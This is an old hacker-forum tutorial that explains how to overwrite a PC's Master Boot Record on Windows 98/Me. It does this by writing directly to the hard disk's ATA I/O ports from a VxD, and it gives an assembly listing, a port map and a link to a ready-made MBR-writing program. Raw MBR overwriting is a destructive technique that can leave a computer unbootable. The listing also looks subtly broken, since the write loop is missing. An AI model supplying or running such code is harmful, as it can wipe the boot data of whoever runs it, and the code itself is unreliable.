|
By Harshal.A.Chaudhari
This is Only for Educational Purpose.Plz don't use this for
Troubling ppl.I am not Responsible for Misusing this
Information.
Actually I had tried this on Windows 98 First
Edition,Second Edition,& Me.I ran this Program on 2
computers.It seems to work very fine with windows 98 First
Edition. What i mean to say is that when i run the Program
under Windows 98 Second Edition & Me on One computer i
observe that i had to run the Program Several times then
only it writes the (M)aster (B)oot (R)ecord.While on other
its just running Fine.I also know that it might be the
problem coz the (computers having)Hard Disk on which i
tested the code had different Disk Rotation Speed & Also i
didn't check if the Disk Controllers is not Busy.But it
Writes MBR. Ok ( 0x1F0 - 0x1F7 ) this is the I/O Port Range
When Hard Disk is Primary Master.
The Details are as Follows:-
0x1F0 data register
0x1F1 error register
0x1F2 sector count
0x1F3 sector number
0x1F4 cylinder low
0x1F5 cylinder high
0x1F6 drive/head
0x1F7 command register
The Procedure is simple:-
Just Code a Vxd for doing our job.
mov dx, 1F2h ;; dx=0x1F2
mov al,1 ;; we want to write only 1 sector
out dx,al ;; out 1 to 0x1F2 port
inc dx ;; dx=0x1F3
out dx,al ;; out 1 (i.e 1st sector) to 0x1F3
inc dx ;; dx=0x1F4
xor ax,ax ;; al=0
out dx,al ;; out 0 (i.e 0 cylinder low) to 0x1F4
inc dx ;; dx=0x1F5
out dx,al ;; out 0 (i.e 0 cylinder high) to 0x1F5
mov al,10100000b ;;(drive & head)
inc dx ;; dx=0x1F6
out dx,al ;; out 0xA0 for Primary master
inc dx ;; dx=0x1F7
mov al,30h ;; 30h indicates write sector ;; 20h
indicates read sector
out dx,al ;; so we wanna write...hmmm!! Bad guys
; Writing Sector 98 (FIRST EDITION) ...OK
lea ebx, buffer ;; address of buffer in ebx
mov dx, 1F0h ;; dx=0x1F0
mov cx, 256 ;; counter 512 bytes
mov ax,word ptr [ebx]
out dx,ax ;; data register 0x1F0
;Writing Sector 98 SE
lea ebx, buffer
mov dx, 1F0h
mov cx, 256
mov ebx,[ebx]
mov ax,word ptr [ebx]
out dx,ax
PLZ NOTE :- I had not checked the Disk Controller if its
busy so if u want u can write that code ...ok
And Let me know Whats happens when u run that on ur
Computer.
Ok http://www.geocities.com/hrvgdaily/Mbr.zip is the
Program i had made to write [M]aster [B]oot [R]ecord. But
Don't forget to have Copy of [M]aster [B]oot [R]ecord make
Rescue disks from Norton Antivirus.And i know that it ugly
it rough work friends.
Bye 4 now.Hope it was useful & u like it.
CREDITS
1). I Thank Astalavista.com for giving me an opportunity to
write this Tutorial.
2). It goes to Rajesh.chaudhari , my Mom & Dad , Sagar.S ,
Nilesh.C ,Anirudha.B , Mayur.S & all friends whom i forgot
to mention here ,coz What i am today is because of them.
U can Contact & Share ur view with me at gj007_in@yahoo.com
if i could be of any help |